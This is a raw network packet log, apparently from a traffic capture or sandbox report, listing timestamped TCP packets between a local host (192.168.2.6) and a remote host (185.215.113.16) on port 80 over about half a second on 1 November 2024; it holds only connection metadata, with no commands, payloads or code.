Nov 1, 2024 03:45:23.224432945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.224468946 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.225581884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225593090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225603104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225637913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225647926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225661993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.225676060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225678921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.225717068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.225739956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225811005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225821018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225857973 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.225915909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.225925922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226092100 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.226243973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226255894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226272106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226284027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226294041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226314068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.226337910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226341009 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.226495028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226506948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226516962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226552010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.226564884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.226564884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226578951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.226620913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.226644039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.269812107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.269833088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.269844055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.269870996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.269927979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.290976048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291059971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291069984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291091919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291104078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291110039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291130066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.291168928 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.291244984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291331053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291342020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.291402102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.336576939 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.338815928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.338828087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.338885069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.338917017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.338948965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.338959932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.338989019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339128017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339144945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339157104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339168072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339178085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339186907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339238882 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339273930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339358091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339370012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339409113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339422941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339476109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339534044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339632988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339643955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339654922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339684963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339701891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339812994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339849949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339862108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.339941978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.339968920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.340009928 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.340044975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.340054989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.340101957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.340893984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.340945959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.340955973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.340966940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341001034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341005087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341005087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341100931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341114044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341125011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341154099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341181040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341198921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341470957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341511965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341522932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341538906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341577053 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341582060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341592073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341622114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341643095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341679096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341691017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341737986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341774940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341890097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341907024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341917992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.341927052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.341957092 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.342025042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.342117071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.342128992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.342183113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.342183113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.385153055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.385395050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.385406017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.385528088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.407497883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.407584906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.407629013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.407640934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.407685041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.407815933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.407828093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.407840014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.407886028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.407995939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.408005953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.408042908 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.454430103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454479933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.454554081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454710960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454724073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454735994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454767942 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.454808950 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.454847097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454858065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454870939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.454910040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455017090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455029011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455070019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455153942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455192089 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455295086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455307007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455323935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455336094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455347061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455387115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455434084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455446959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455457926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455503941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455609083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455621958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455667019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.455775023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455787897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.455811977 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.456537962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456600904 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.456710100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456721067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456731081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456768990 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.456878901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456890106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456902981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456913948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.456933975 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.456960917 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.457030058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457191944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457233906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.457345009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457356930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457369089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457380056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457391977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457413912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.457437992 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.457510948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457523108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457592964 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.457766056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457777977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457789898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457842112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.457910061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457921982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457932949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.457956076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.458009958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.458039999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.458054066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.458121061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.500626087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.500701904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.500732899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.500791073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.500799894 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.500844002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.522741079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522790909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522803068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522823095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.522900105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522912025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522924900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522936106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.522954941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.522954941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.522984982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.523217916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.569605112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569622993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569636106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569680929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.569724083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569736004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569757938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569786072 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.569808960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.569868088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569885969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569926977 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.569960117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569971085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.569981098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570027113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570135117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570144892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570178032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570199966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570219994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570230961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570238113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570291042 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570312977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570324898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570374966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570514917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570525885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570558071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570581913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570616961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570627928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570668936 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.570719957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570732117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.570775986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571475983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571491003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571525097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571543932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571559906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571584940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571602106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571636915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571654081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571675062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571693897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571752071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571768999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571789980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571801901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.571825981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571846008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.571854115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572140932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572156906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572169065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572220087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572220087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572220087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572235107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572283983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572294950 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572350979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572364092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572375059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572397947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572479010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572524071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572565079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572576046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572683096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572720051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572720051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572746992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572757959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572812080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572823048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.572868109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.572868109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.575875044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.575886965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.575896978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.575973988 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.615840912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.615859985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.615869999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.615895033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.615900040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.615926027 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.638071060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638094902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638107061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638128042 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.638164043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.638180971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638194084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638204098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638245106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.638292074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638341904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638354063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.638364077 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.638402939 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685199022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685245037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685257912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685327053 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:23.685369015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685380936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:23.685436964 CET	80	49750	185.215.113.16	192.168.2.6
